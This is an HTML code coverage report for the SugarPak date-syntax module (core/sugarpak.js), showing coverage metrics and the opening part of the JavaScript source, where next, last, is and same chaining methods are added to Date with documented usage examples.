<div class="header high">
    <h1>Code coverage report for <span class="entity">core/sugarpak.js</span></h1>
    <h2>
        
        Statements: <span class="metric">96.62% <small>(143 / 148)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">82.86% <small>(58 / 70)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">100% <small>(30 / 30)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">96.58% <small>(141 / 146)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; sugarpak.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494</td><td class="line-coverage"><span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">24</span>
<span class="cline-any cline-yes">24</span>
<span class="cline-any cline-yes">24</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1137</span>
<span class="cline-any cline-yes">1137</span>
<span class="cline-any cline-yes">1137</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">34</span>
<span class="cline-any cline-yes">34</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">13</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-yes">100</span>
<span class="cline-any cline-yes">90</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-yes">1179</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1159</span>
<span class="cline-any cline-yes">1159</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1155</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">19</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">19</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">19</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">89</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">89</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">30</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">9</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">9</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">9</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">/*************************************************************
 * SugarPak - Domain Specific Language -  Syntactical Sugar  *
 *************************************************************/
 
(function () {
	var $D = Date, $P = $D.prototype, $N = Number.prototype;
&nbsp;
	// private
	$P._orient = +1;
&nbsp;
	// private
	$P._nth = null;
&nbsp;
	// private
	$P._is = false;
&nbsp;
	// private
	$P._same = false;
	
	// private
	$P._isSecond = false;
&nbsp;
	// private
	$N._dateElement = "days";
&nbsp;
	/** 
	 * Moves the date to the next instance of a date as specified by the subsequent date element function (eg. .day(), .month()), month name function (eg. .january(), .jan()) or day name function (eg. .friday(), fri()).
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().next().friday();
	Date.today().next().fri();
	Date.today().next().march();
	Date.today().next().mar();
	Date.today().next().week();
	&lt;/code&gt;&lt;/pre&gt;
	 * 
	 * @return {Date}    date
	 */
	$P.next = function () {
		this._move = true;
		this._orient = +1;
		return this;
	};
&nbsp;
	/** 
	 * Creates a new Date (Date.today()) and moves the date to the next instance of the date as specified by the subsequent date element function (eg. .day(), .month()), month name function (eg. .january(), .jan()) or day name function (eg. .friday(), fri()).
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.next().friday();
	Date.next().fri();
	Date.next().march();
	Date.next().mar();
	Date.next().week();
	&lt;/code&gt;&lt;/pre&gt;
	 * 
	 * @return {Date}    date
	 */
	$D.next = function () {
		return $D.today().next();
	};
&nbsp;
	/** 
	 * Moves the date to the previous instance of a date as specified by the subsequent date element function (eg. .day(), .month()), month name function (eg. .january(), .jan()) or day name function (eg. .friday(), fri()).
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().last().friday();
	Date.today().last().fri();
	Date.today().last().march();
	Date.today().last().mar();
	Date.today().last().week();
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    date
	 */
	$P.last = $P.prev = $P.previous = function () {
		this._move = true;
		this._orient = -1;
		return this;
	};
&nbsp;
	/** 
	 * Creates a new Date (Date.today()) and moves the date to the previous instance of the date as specified by the subsequent date element function (eg. .day(), .month()), month name function (eg. .january(), .jan()) or day name function (eg. .friday(), fri()).
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.last().friday();
	Date.last().fri();
	Date.previous().march();
	Date.prev().mar();
	Date.last().week();
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    date
	 */
	$D.last = $D.prev = $D.previous = function () {
		return $D.today().last();
	};
&nbsp;
	/** 
	 * Performs a equality check when followed by either a month name, day name or .weekday() function.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().is().friday(); // true|false
	Date.today().is().fri();
	Date.today().is().march();
	Date.today().is().mar();
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Boolean}    true|false
	 */
	$P.is = function () {
		this._is = true;
		return this;
	};
&nbsp;
	/** 
	 * Determines if two date objects occur on/in exactly the same instance of the subsequent date part function.
	 * The function .same() must be followed by a date part function (example: .day(), .month(), .year(), etc).
	 *
	 * An optional Date can be passed in the date part function. If now date is passed as a parameter, 'Now' is used. 
	 *
	 * The following example demonstrates how to determine if two dates fall on the exact same day.
	 *
	 * Example
	&lt;pre&gt;&lt;code&gt;
	var d1 = Date.today(); // today at 00:00
	var d2 = new Date();   // exactly now.
&nbsp;
	// Do they occur on the same day?
	d1.same().day(d2); // true
	
	// Do they occur on the same hour?
	d1.same().hour(d2); // false, unless d2 hour is '00' (midnight).
	
	// What if it's the same day, but one year apart?
	var nextYear = Date.today().add(1).year();
&nbsp;
	d1.same().day(nextYear); // false, because the dates must occur on the exact same day. 
	&lt;/code&gt;&lt;/pre&gt;
	 *
	 * Scenario: Determine if a given date occurs during some week period 2 months from now. 
	 *
	 * Example
	&lt;pre&gt;&lt;code&gt;
	var future = Date.today().add(2).months();
	return someDate.same().week(future); // true|false;
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Boolean}    true|false
	 */
	$P.same = function () {
		this._same = true;
		this._isSecond = false;
		return this;
	};
&nbsp;
	/** 
